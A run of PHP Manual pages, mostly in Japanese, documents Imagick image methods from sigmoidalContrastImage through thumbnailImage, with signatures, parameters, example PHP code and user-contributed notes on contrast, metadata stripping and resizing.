  • PHP Manual
  • Imagick
  • 画像のコントラストを調整する

Imagick::sigmoidalContrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::sigmoidalContrastImage — 画像のコントラストを調整する

説明

public Imagick::sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

非線形 S 字コントラストアルゴリズムを用いて画像のコントラストを調整します。 S 字変換関数を使用し、ハイライトや影を飽和させることなく画像のコントラストを強調します。 contrast は、どの程度コントラストを向上させるかを表します (0 は何もしない、3 は一般的な程度、20 は押し出す) mid-point は、結果の画像での中間色の扱いを表します (0 は白、50 はグレー、100 は黒)。sharpen を true にするとコントラストを強め、それ以外にするとコントラストを弱めます。

» ImageMagick v6 Examples - Image Transformations — Sigmoidal Non-linearity Contrast も参照ください。

パラメータ

sharpen

If true increase the contrast, if false decrease the contrast.

alpha

The amount of contrast to apply. 1 is very little, 5 is a significant amount, 20 is extreme.

beta

Where the midpoint of the gradient will be. This value should be in the range 0 to 1 - mutliplied by the quantum value for ImageMagick.

channel

Which color channels the contrast will be applied to.

返り値

成功した場合に true を返します。

例

例1 Imagick::sigmoidalContrastImage() によるグラデーションの作成 (ふたつの画像を、$contrast と $midpoint の定義でブレンドする)

<?php

function generateBlendImage($width, $height, $contrast = 10, $midpoint = 0.5) {
    $imagick = new Imagick();
    $imagick->newPseudoImage($width, $height, 'gradient:black-white');
    $quanta = $imagick->getQuantumRange();
    $imagick->sigmoidalContrastImage(true, $contrast, $midpoint * $quanta["quantumRangeLong"]);

    return $imagick;
}

?>

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

SkepticaLee 28-Nov-2015 11:05
The formula for sigmoidal contrast given by Thyssen is missing a term. It should be:

( 1/(1+exp(β*(α-u))) - 1/(1+exp(β*α)) ) / ( 1/(1+exp(β*(α-1))) - 1/(1+exp(β*α)) )

where there was an α missing from the second term.

Note that a sigmoidal contrast with α = 6 and β = 0.46 is approximately equivalent to combining a "screen" overlay of the image on itself, followed by a "multiply" overlay.
acameron at theatomgroup dot com 17-Dec-2013 07:48
The documentation for this function really isn't useful or helpful at all. "Sharpen", "Contrast" and "Midpoint" aren't the names of the params, which are referred to as "alpha" and "beta".

The Imagemagick manual entry:

For those interested, the corrected formula for the 'sigmoidal non-linearity contrast control' is...
( 1/(1+exp(β*(α-u))) - 1/(1+exp(β)) ) / ( 1/(1+exp(β*(α-1))) - 1/(1+exp(β*α)) )
Where α is the threshold level, and β the contrast factor to be applied.
The formula is actually very simple exponential curve, with the bulk of the above formula is designed to ensure that 0 remains zero and 1 remains one. That is, the graph always goes though the points 0,0 and 1,1. And the highest gradient of change is at the given threshold.

Src: http://www.imagemagick.org/Usage/color_mods/#sigmoidal

In the Imagick extension source, the function call is:

 status = MagickSigmoidalContrastImageChannel(intern->magick_wand, channel, sharpen, alpha, beta);

Src: https://github.com/mkoppanen/imagick/

Referring back to the binary API call gives:

foreign import ccall "MagickSigmoidalContrastImageChannel" magickSigmoidalContrastImageChannel
  :: Ptr MagickWand
  -> ChannelType       -- ^ identify which channel to level: `redChannel`, `greenChannel`
  -> MagickBooleanType -- ^ increase or decrease image contrast
  -> CDouble           -- ^ strength of the contrast, the larger the number the more 'threshold-like' it becomes
  -> CDouble           -- ^ midpoint of the function as a color value 0 to `quantumRange`
  -> IO MagickBooleanType

Src: http://hackage.haskell.org/package/imagemagick-0.0.2/docs/src/Graphics-ImageMagick-MagickWand-FFI-WandImage.html

So the parameters should apparently be interpreted:

Sharpen:     0/1 (increase/decrease contrast)
Alpha:       Strength of the contrast (typically 3-20)
Beta:        Midpoint of the contrast (typically 50)


鉛筆画をシミュレートする

  • ≪ Imagick::sigmoidalContrastImage
  • Imagick::smushImages ≫
  • PHP Manual
  • Imagick
  • 鉛筆画をシミュレートする

Imagick::sketchImage

(PECL imagick 2, PECL imagick 3)

Imagick::sketchImage — 鉛筆画をシミュレートする

説明

public Imagick::sketchImage ( float $radius , float $sigma , float $angle ) : bool

鉛筆画をシミュレートします。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、 Imagick::sketchImage() が適切な半径を自動的に設定します。 angle で、モーションブラーの角度を指定します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

radius

ガウス変換の半径 (ピクセル単位で中心のピクセルは数えない)。

sigma

ガウス変換の標準偏差 (ピクセル単位)。

angle

この角度で効果を適用します。

返り値

成功した場合に true を返します。

例

例1 Imagick::sketchImage()

<?php
function sketchImage($imagePath, $radius, $sigma, $angle) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->sketchimage($radius, $sigma, $angle);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::sketchImage
  • Imagick::solarizeImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::smushImages

(PECL imagick 3 >= 3.3.0)

Imagick::smushImages — Description

説明

public Imagick::smushImages ( bool $stack , int $offset ) : Imagick

Takes all images from the current image pointer to the end of the image list and smushs them to each other top-to-bottom if the stack parameter is true, otherwise left-to-right.

パラメータ

stack

offset

返り値

The new smushed image.

例

例1 Imagick::smushImages()

<?php
function smushImages($imagePath, $imagePath2) {

    $imagick = new \Imagick(realpath($imagePath));
    $imagick2 = new \Imagick(realpath($imagePath2));

    $imagick->addimage($imagick2);
    $smushed = $imagick->smushImages(false, 50);
    $smushed->setImageFormat('jpg');
    header("Content-Type: image/jpg");
    echo $smushed->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像にソラリゼーション効果を適用する

  • ≪ Imagick::smushImages
  • Imagick::sparseColorImage ≫
  • PHP Manual
  • Imagick
  • 画像にソラリゼーション効果を適用する

Imagick::solarizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::solarizeImage — 画像にソラリゼーション効果を適用する

説明

public Imagick::solarizeImage ( int $threshold ) : bool

画像に特殊効果を施し、 印画紙の特定の箇所の露光時間を長くしたような画像になります。 threshold は 0 から QuantumRange までの値で、 ソラリゼーションの効き具合を指定します。

パラメータ

threshold

返り値

成功した場合に true を返します。

例

例1 Imagick::solarizeImage()

<?php
function solarizeImage($imagePath, $solarizeThreshold) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->solarizeImage($solarizeThreshold * \Imagick::getQuantum());
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 10:10
This is something neat that you can do to an image as part of making it artistic, probably in conjunction with other ImageMagick effects, like PosterizeImage and OilPaintImage.  SolarizeImage shifts the whole color spectrum toward red for an image -- white gets pushed directly into red, blues get pushed into greens, etc..  It is mostly a psychedelic effect.  You have the option of choosing one parameter for "Threshold", which is really simply how much of this effect you want to have in an image.  The minimum value is 0, and using a negative number defaults it to 0.  The maximum value is the Quantum Threshold.  You can get this value by the ImageMagick function getQuantumRange.  On my install of PHP, that value is set to 65535 (2^16).  Going higher than the Quantum Range defaults to the Quantum Range.  An image with this function performed on it at Threshold 0 has the maximum effect performed, and at Threshold maximum the image has no changes made to it at all.

And now a simple demonstration of the code :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Image File Data
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->solarizeImage(30000);

        // Filename
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/test_new.bmp";

        // Save File
        // ---------------------------------------------

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


色を補間する

  • ≪ Imagick::solarizeImage
  • Imagick::spliceImage ≫
  • PHP Manual
  • Imagick
  • 色を補間する

Imagick::sparseColorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::sparseColorImage — 色を補間する

説明

public Imagick::sparseColorImage ( int $SPARSE_METHOD , array $arguments , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

数値を含む配列を引数として受け取り、画像全体にわたって見つかった座標の色を補間します。補間には sparse_method を用います。 このメソッドは、ImageMagick バージョン 6.4.5 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

SPARSE_METHOD

sparse method 定数 の一覧を参照ください。

arguments

座標を含む配列。配列の書式は array(1,1, 2,45) のようになります。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
    function renderImageBarycentric2() {
        $points = [
            [0.30, 0.10, 'red'],
            [0.10, 0.80, 'blue'],
            [0.70, 0.60, 'lime'],
            [0.80, 0.20, 'yellow'],
        ];
        $imagick = createGradientImage(
            400, 400,
            $points,
            \Imagick::SPARSECOLORMETHOD_BARYCENTRIC
        );
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

?>

例2 SPARSECOLORMETHOD_BILINEAR Imagick::sparseColorImage()

<?php
    function renderImageBilinear() {
        $points = [[0.30, 0.10, 'red'], [0.10, 0.80, 'blue'], [0.70, 0.60, 'lime'], [0.80, 0.20, 'yellow'],];
        $imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_BILINEAR);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

?>

例3 SPARSECOLORMETHOD_SPEPARDS Imagick::sparseColorImage()

<?php
    function renderImageShepards() {
        $points = [
            [0.30, 0.10, 'red'],
            [0.10, 0.80, 'blue'],
            [0.70, 0.60, 'lime'],
            [0.80, 0.20, 'yellow'],
        ];
        $imagick = createGradientImage(600, 600, $points, \Imagick::SPARSECOLORMETHOD_SPEPARDS);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

?>

例4 SPARSECOLORMETHOD_VORONOI Imagick::sparseColorImage()

<?php
    function renderImageVoronoi() {
        $points = [
            [0.30, 0.10, 'red'],
            [0.10, 0.80, 'blue'],
            [0.70, 0.60, 'lime'],
            [0.80, 0.20, 'yellow'],
        ];
        $imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_VORONOI);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

?>

例5 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
    function renderImageBarycentric() {
        $points = [
            [0, 0, 'skyblue'],
            [-1, 1, 'skyblue'],
            [1, 1, 'black'],
        ];
        $imagick = createGradientImage(600, 200, $points, \Imagick::SPARSECOLORMETHOD_BARYCENTRIC);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

?>

例6 createGradientImage is used by other examples. Imagick::sparseColorImage()

<?php
function createGradientImage($width, $height, $colorPoints, $sparseMethod, $absolute = false) {

    $imagick = new \Imagick();
    $imagick->newImage($width, $height, "white");
    $imagick->setImageFormat("png");

    $barycentricPoints = array();

    foreach ($colorPoints as $colorPoint) {

        if ($absolute == true) {
            $barycentricPoints[] = $colorPoint[0];
            $barycentricPoints[] = $colorPoint[1];
        }
        else {
            $barycentricPoints[] = $colorPoint[0] * $width;
            $barycentricPoints[] = $colorPoint[1] * $height;
        }

        if (is_string($colorPoint[2])) {
            $imagickPixel = new \ImagickPixel($colorPoint[2]);
        }
        else if ($colorPoint[2] instanceof \ImagickPixel) {
            $imagickPixel = $colorPoint[2];
        }
        else{
            $errorMessage = sprintf(
                "Value %s is neither a string nor an ImagickPixel class. Cannot use as a color.",
                $colorPoint[2]
            );

            throw new \InvalidArgumentException(
                $errorMessage
            );
        }

        $red = $imagickPixel->getColorValue(\Imagick::COLOR_RED);
        $green = $imagickPixel->getColorValue(\Imagick::COLOR_GREEN);
        $blue = $imagickPixel->getColorValue(\Imagick::COLOR_BLUE);
        $alpha = $imagickPixel->getColorValue(\Imagick::COLOR_ALPHA);

        $barycentricPoints[] = $red;
        $barycentricPoints[] = $green;
        $barycentricPoints[] = $blue;
        $barycentricPoints[] = $alpha;
    }

    $imagick->sparseColorImage($sparseMethod, $barycentricPoints);

    return $imagick;
}

?>

User Contributed Notes

aehtyb[]gmail.com 12-May-2016 08:48
For those curious how to use sparseColorImage() directly without the seperate createGradientImage() function.. here is the format of the array used:

Array (
[0]  => 0   // X1 (X coordinate value #1)
[1]  => 0   // Y1 (Y coordinate value #1)
[2]  => 1   // R (red value between 0 and 1)
[3]  => 0   // G (green value between 0 and 1)
[4]  => 0   // B (blue value between 0 and 1)
[5]  => 1   // A (alpha value between 0 and 1)
[6]  => 400 // X2
[7]  => 0   // Y2
[8]  => 0   // R
[9]  => 1   // G
[10] => 0   // B
[11] => 1   // A
[12] => 0   // X3
[13] => 400 // Y3
[14] => 1   // R
[15] => 1   // G
[16] => 0   // B
[17] => 1   // A
[18] => 400 // X4
[19] => 400 // Y4
[20] => 0   // R
[21] => 0   // G
[22] => 1   // B
[23] => 1   // A
)

<?php

$imagick = new imagick();
$imagick->newImage(400,400,"white");
$imagick->setImageFormat("png");

$array = Array(0,0,1,0,0,1,400,0,0,1,0,1,0,400,1,1,0,1,400,400,0,0,1,1);
$imagick->sparseColorImage(imagick::SPARSECOLORMETHOD_BILINEAR,$array);

header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>


無地の画像を作成する

  • ≪ Imagick::sparseColorImage
  • Imagick::spreadImage ≫
  • PHP Manual
  • Imagick
  • 無地の画像を作成する

Imagick::spliceImage

(PECL imagick 2, PECL imagick 3)

Imagick::spliceImage — 無地の画像を作成する

説明

public Imagick::spliceImage ( int $width , int $height , int $x , int $y ) : bool

無地の画像を作成します。

パラメータ

width

height

x

y

返り値

成功した場合に true を返します。

例

例1 Imagick::spliceImage()

<?php
function spliceImage($imagePath, $startX, $startY, $width, $height) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->spliceImage($width, $height, $startX, $startY);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

fake0 at shenafu dot com 29-Apr-2016 03:16
spliceImage() increases the dimensions of the image without stretching the original image by creating a box of the same color as the image's background.

You can set the color with setImageBackgroundColor() before running spliceImage().

The $width and $height parameters define how much is increased horizontally and vertically, respectively, which determines how big the box is. (Note that these values are not always the same size as the box.) The final dimensions of the new image are
$newWidth = $oldWidth + $width
$newHeight = $oldHeight + $height

So, to expand the image in both directions, $width and $height should be positive values. To expand in only one direction (horizontally or vertically), set one of these values to 0 ($height or $width respectively).

The $x and $y parameters are relative to the original image and define where to put the box. If $x and $y are one of the corners of the original image, the box is placed in the respective corner and expands the image outward from that corner. Otherwise, the box splits the original image to the sides or corners and places the box in the middle of the new image. Thus, you use $x and $y to direct where and how the original image is split. Any remaining space is filled with the background color.


ブロック内の各ピクセルをランダムに移動する

  • ≪ Imagick::spliceImage
  • Imagick::statisticImage ≫
  • PHP Manual
  • Imagick
  • ブロック内の各ピクセルをランダムに移動する

Imagick::spreadImage

(PECL imagick 2, PECL imagick 3)

Imagick::spreadImage — ブロック内の各ピクセルをランダムに移動する

説明

public Imagick::spreadImage ( float $radius ) : bool

radius パラメータで定義したブロック内の各ピクセルを、 ランダムに移動させます。

パラメータ

radius

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::spreadImage()

<?php
function spreadImage($imagePath, $radius) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->spreadImage($radius);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::spreadImage
  • Imagick::steganoImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::statisticImage

(PECL imagick 3 >= 3.3.0)

Imagick::statisticImage — Description

説明

public Imagick::statisticImage ( int $type , int $width , int $height , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

Replace each pixel with corresponding statistic from the neighborhood of the specified width and height.

パラメータ

type

width

height

channel

返り値

成功した場合に true を返します。

例

例1 Imagick::statisticImage()

<?php
function statisticImage($imagePath, $statisticType, $width, $height, $channel) {
    $imagick = new \Imagick(realpath($imagePath));

    $imagick->statisticImage(
        $statisticType,
        $width,
        $height,
        $channel
    );

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

statisticImage($imagePath, \Imagick::STATISTIC_MEDIAN, 5, 5, \Imagick::CHANNEL_DEFAULT);

?>

User Contributed Notes

There are no user contributed notes for this page.


デジタル透かしを画像に埋め込む

  • ≪ Imagick::statisticImage
  • Imagick::stereoImage ≫
  • PHP Manual
  • Imagick
  • デジタル透かしを画像に埋め込む

Imagick::steganoImage

(PECL imagick 2, PECL imagick 3)

Imagick::steganoImage — デジタル透かしを画像に埋め込む

説明

public Imagick::steganoImage ( Imagick $watermark_wand , int $offset ) : Imagick

デジタル透かしを画像に埋め込みます。 あとでこの透かしが見つかれば、その画像の出所を証明することができます。 offset は、透かしの埋め込みを開始する位置を指定します。

パラメータ

watermark_wand

offset

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ふたつの画像を合成する

  • ≪ Imagick::steganoImage
  • Imagick::stripImage ≫
  • PHP Manual
  • Imagick
  • ふたつの画像を合成する

Imagick::stereoImage

(PECL imagick 2, PECL imagick 3)

Imagick::stereoImage — ふたつの画像を合成する

説明

public Imagick::stereoImage ( Imagick $offset_wand ) : bool

ふたつの画像を合成してひとつの画像にします。 左と右の画像を合成してステレオ効果を生み出します。

パラメータ

offset_wand

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像からすべてのプロパティやコメントを除去する

  • ≪ Imagick::stereoImage
  • Imagick::subImageMatch ≫
  • PHP Manual
  • Imagick
  • 画像からすべてのプロパティやコメントを除去する

Imagick::stripImage

(PECL imagick 2, PECL imagick 3)

Imagick::stripImage — 画像からすべてのプロパティやコメントを除去する

説明

public Imagick::stripImage ( ) : bool

画像からすべてのプロパティやコメントを除去します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Max Eremin 28-Dec-2016 12:11
StripImage also delete ICC image profile by default.
The resulting images seem to lose a lot of color information and look "flat" compared to their non-stripped versions.

Consider keeping the ICC profile (which causes richer colors) while removing all other EXIF data:

1. Extract the ICC profile
2. Strip EXIF data and image profile
3. Add the ICC profile back

The code is:
<?php
$profiles = $img->getImageProfiles("icc", true);

$img->stripImage();

if(!empty($profiles))
    $img->profileImage("icc", $profiles['icc']);
?>
g dot a dot karthikeyan at gmail dot com 23-Dec-2013 07:09
Please note that striping off the exif information without handling the orientation information available in the exif will lead to wrong orientation of the image
pengc99 02-May-2011 10:09
this will actually clear exif data so if you run an image uploading script with privacy concerns, this will effectively clear all GPS / metadata from the image.


Description

  • ≪ Imagick::stripImage
  • Imagick::swirlImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::subImageMatch

(PECL imagick 3 >= 3.3.0)

Imagick::subImageMatch — Description

説明

public Imagick::subImageMatch ( Imagick $Imagick , array &$offset = ? , float &$similarity = ? ) : Imagick

Searches for a subimage in the current image and returns a similarity image such that an exact match location is completely white and if none of the pixels match, black, otherwise some gray level in-between. You can also pass in the optional parameters bestMatch and similarity. After calling the function similarity will be set to the 'score' of the similarity between the subimage and the matching position in the larger image, bestMatch will contain an associative array with elements x, y, width, height that describe the matching region.

パラメータ

Imagick

offset

similarity

A new image that displays the amount of similarity at each pixel.

返り値

例

例1 Imagick::subImageMatch()

<?php
function subImageMatch($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick2 = clone $imagick;
    $imagick2->cropimage(40, 40, 250, 110);
    $imagick2->vignetteimage(0, 1, 3, 3);

    $similarity = null;
    $bestMatch = null;
    $comparison = $imagick->subImageMatch($imagick2, $bestMatch, $similarity);

    $comparison->setImageFormat('png');
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の中心から、ピクセルを渦巻状にする

  • ≪ Imagick::subImageMatch
  • Imagick::textureImage ≫
  • PHP Manual
  • Imagick
  • 画像の中心から、ピクセルを渦巻状にする

Imagick::swirlImage

(PECL imagick 2, PECL imagick 3)

Imagick::swirlImage — 画像の中心から、ピクセルを渦巻状にする

説明

Imagick::swirlImage ( float $degrees ) : bool

画像の中心から、ピクセルを渦巻状にします。 degrees は個々のピクセルが移動する弧の量を表します。 degrees を 1 から 360 まで変化させると、劇的な効果が得られます。

パラメータ

degrees

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::swirlImage()

<?php
function swirlImage($imagePath, $swirl) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->swirlImage($swirl);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 05-Nov-2009 08:47
<?php

$img = new Imagick('blablabla.jpg');
$img->swirlImage ( 20.0 );
header("Content-Type: image/jpeg");
echo $img;

?>


テクスチャ画像をタイル状に並べる

  • ≪ Imagick::swirlImage
  • Imagick::thresholdImage ≫
  • PHP Manual
  • Imagick
  • テクスチャ画像をタイル状に並べる

Imagick::textureImage

(PECL imagick 2, PECL imagick 3)

Imagick::textureImage — テクスチャ画像をタイル状に並べる

説明

Imagick::textureImage ( Imagick $texture_wand ) : Imagick

テクスチャ画像をタイル状に繰り返し並べます。

パラメータ

texture_wand

テクスチャ画像として使用する Imagick オブジェクト

返り値

テクスチャ画像を繰り返し適用した新しい Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::textureImage()

<?php
function textureImage($imagePath) {
    $image = new \Imagick();
    $image->newImage(640, 480, new \ImagickPixel('pink'));
    $image->setImageFormat("jpg");
    $texture = new \Imagick(realpath($imagePath));
    $texture->scaleimage($image->getimagewidth() / 4, $image->getimageheight() / 4);
    $image = $image->textureImage($texture);
    header("Content-Type: image/jpg");
    echo $image;
}

?>

User Contributed Notes

Dirk 13-Jan-2014 03:56
This method doesn't actually return TRUE on success, it returns an Imagick with the texture applied, but the original Imagick object is not modified. As per the other examples on here, you need to use the result of textureImage call as your new tiled image.
truthseekercz at email dot cz 08-Sep-2010 05:41
<?php

$image = new Imagick();
$image->newImage(500, 500, new ImagickPixel('red'));
$image->setImageFormat("png");
$type=$image->getFormat();
header("Content-type: $type");

$texture = new Imagick();
$texture->readImage('texture.png');
$image = $image->textureImage($texture);

echo $image;

?>

This works for me, however, I give no guarantees that the above example is the proper usage of this function.


閾値にもとづいて個々のピクセルの値を変更する

  • ≪ Imagick::textureImage
  • Imagick::thumbnailImage ≫
  • PHP Manual
  • Imagick
  • 閾値にもとづいて個々のピクセルの値を変更する

Imagick::thresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::thresholdImage — 閾値にもとづいて個々のピクセルの値を変更する

説明

public Imagick::thresholdImage ( float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

個々のピクセルの輝度を閾値と比較し、その色を変更します。 変換結果は、コントラストの高い 2 色の画像となります。

パラメータ

threshold

channel

返り値

成功した場合に true を返します。

例

例1 Imagick::thresholdImage()

<?php
function thresholdimage($imagePath, $threshold, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->thresholdimage($threshold * \Imagick::getQuantum(), $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

php t traction dot de 29-Jun-2012 07:25
getQuantumRange() can be handy here:

<?php
$i = new Imagick($imageFile);
$max = $i->getQuantumRange();
$max = $max["quantumRangeLong"];
$i->thresholdImage(0.77 * $max);
?>


画像のサイズを変更する

  • ≪ Imagick::thresholdImage
  • Imagick::tintImage ≫
  • PHP Manual
  • Imagick
  • 画像のサイズを変更する

Imagick::thumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::thumbnailImage — 画像のサイズを変更する

説明

public Imagick::thumbnailImage ( int $columns , int $rows , bool $bestfit = false , bool $fill = false , bool $legacy = false ) : bool

画像のサイズを指定したものに変更し、関連付けられたプロパティをすべて削除します。 ウェブ上での表示に適した小さなサムネイル画像を作成します。 3 番目のパラメータに true を指定すると、columns や rows にそれぞれの最大値を使用します。両方のパラメータが、 マッチするまであるいは指定したパラメータより小さくなるまで縮小されます。

注意: パラメータ bestfit の挙動は Imagick 3.0.0 で変わりました。 これより前のバージョンでは、200x150 の画像に対して 400x400 を指定した場合は何もせずそのままになっていました。 Imagick 3.0.0 以降では、この画像は 400x300 に拡大されます。これが、 指定したサイズに対して「ベストフィット」する大きさだからです。 bestfit を使う場合は、幅と高さの両方を指定しなければなりません。

パラメータ

columns

画像の幅。

rows

画像の高さ。

bestfit

最大値を強制的に使用するかどうか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::thumbnailImage()

<?php
function thumbnailImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setbackgroundcolor('rgb(64, 64, 64)');
    $imagick->thumbnailImage(100, 100, true, true);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 14-Apr-2012 08:35
If the 3rd parameter is true, the image will be resized in such a way that it'll be contained within the dimensions mentioned.
It's like changing the dimensions of the image so that it can be contained in a box of given dimension.

Eg: Image's dimension is 1600*800. If we use thumbnailImage(400, 400, true), the new image's dimension will be 400*200.

Some of the previous notes in this page mentions that the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.
But this is not the case now. Both width & height of the image will be <= that mentioned in thumbnailImage().
Maybe imagick changed/updated the functionality.
web at johnbaldock dot com 21-Mar-2012 07:25
When shrinking a jpg you can get more then double the performance if you use <?php $image->setOption('jpeg:size', '800x532') ?>, exchanging 800x532 to the resolution you want the final image to be. For instance instead of this:

<?php
$image = new Imagick('foo.jpg');
?>

You would use this:

<?php
$image = new Imagick();
$image->setOption('jpeg:size', '800x532');
$image->readImage('foo.jpg');
?>
jarrod at jarrodchristman dot com 29-Oct-2011 08:31
Even though thumbnailImage is meant to produce the smallest file size image possible, i found it didn't. I put together this code and bordering different compression settings, found it produced the smallest file size:

<?php
// Max vert or horiz resolution
$maxsize=550;

// create new Imagick object
$image = new Imagick('input_image_filename_and_location');

// Resizes to whichever is larger, width or height
if($image->getImageHeight() <= $image->getImageWidth())
{
// Resize image using the lanczos resampling algorithm based on width
$image->resizeImage($maxsize,0,Imagick::FILTER_LANCZOS,1);
}
else
{
// Resize image using the lanczos resampling algorithm based on height
$image->resizeImage(0,$maxsize,Imagick::FILTER_LANCZOS,1);
}

// Set to use jpeg compression
$image->setImageCompression(Imagick::COMPRESSION_JPEG);
// Set compression level (1 lowest quality, 100 highest quality)
$image->setImageCompressionQuality(75);
// Strip out unneeded meta data
$image->stripImage();
// Writes resultant image to output directory
$image->writeImage('output_image_filename_and_location');
// Destroys Imagick object, freeing allocated resources in the process
$image->destroy();

?>

I found setCompression to not function at all and had to use setImageCompression. The stripImage call is needed and strips out unneeded meta data. You can choose whatever filter you want, but i found lanczos to be the best for image reduction, though it is more computationally heavy.
Anonymous 02-Jul-2008 04:15
Here is a function to calculate the new dimensions of a thumbnail, to fit within the given dimensions on both sides.

<?php
/**
 * Calculate new image dimensions to new constraints
 *
 * @param Original X size in pixels
 * @param Original Y size in pixels
 * @return New X maximum size in pixels
 * @return New Y maximum size in pixels
 */
function scaleImage($x,$y,$cx,$cy) {
    //Set the default NEW values to be the old, in case it doesn't even need scaling
    list($nx,$ny)=array($x,$y);

    //If image is generally smaller, don't even bother
    if ($x>=$cx || $y>=$cx) {

        //Work out ratios
        if ($x>0) $rx=$cx/$x;
        if ($y>0) $ry=$cy/$y;

        //Use the lowest ratio, to ensure we don't go over the wanted image size
        if ($rx>$ry) {
            $r=$ry;
        } else {
            $r=$rx;
        }

        //Calculate the new size based on the chosen ratio
        $nx=intval($x*$r);
        $ny=intval($y*$r);
    }

    //Return the results
    return array($nx,$ny);
}
?>

Use it like this:

<?php
//Read original image and create Imagick object
$thumb=new Imagick($originalImageFilename);

//Work out new dimensions
list($newX,$newY)=scaleImage(
        $thumb->getImageWidth(),
        $thumb->getImageHeight(),
        $newMaximumWidth,
        $newMaximumHeight);

//Scale the image
$thumb->thumbnailImage($newX,$newY);

//Write the new image to a file
$thumb->writeImage($thumbnailFilename);
?>
n-sw-bit at ya dot ru 09-Jun-2008 09:48
If you want to resize your picture to fit smallest parameter:

$fitbyWidth = (($maxWidth/$w)<($maxHeight/$h)) ?true:false;

if($fitbyWidth){
    $im->thumbnailImage($maxWidth, 0, false);
}else{
    $im->thumbnailImage(0, $maxHeight, false);
}
sgarner at expio dot co dot nz 16-Oct-2007 10:11
With $fit == true, the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.

For example, if you say thumbnailImage(400, 400, true), on an image of 1600x800, it will be resized to 800x400, NOT 400x200 as you might expect.

The solution is to compare the original image's dimensions to the specified dimensions, and substitute zero for the smaller dimension, and set $fit = false.

i.e.: thumbnailImage(400, 0, false) would resize that 1600x800 image to 400x200.
raybdbomb . gmail 10-Sep-2007 04:18
As noted here
http://php.net/manual/en/ref.imagick.php
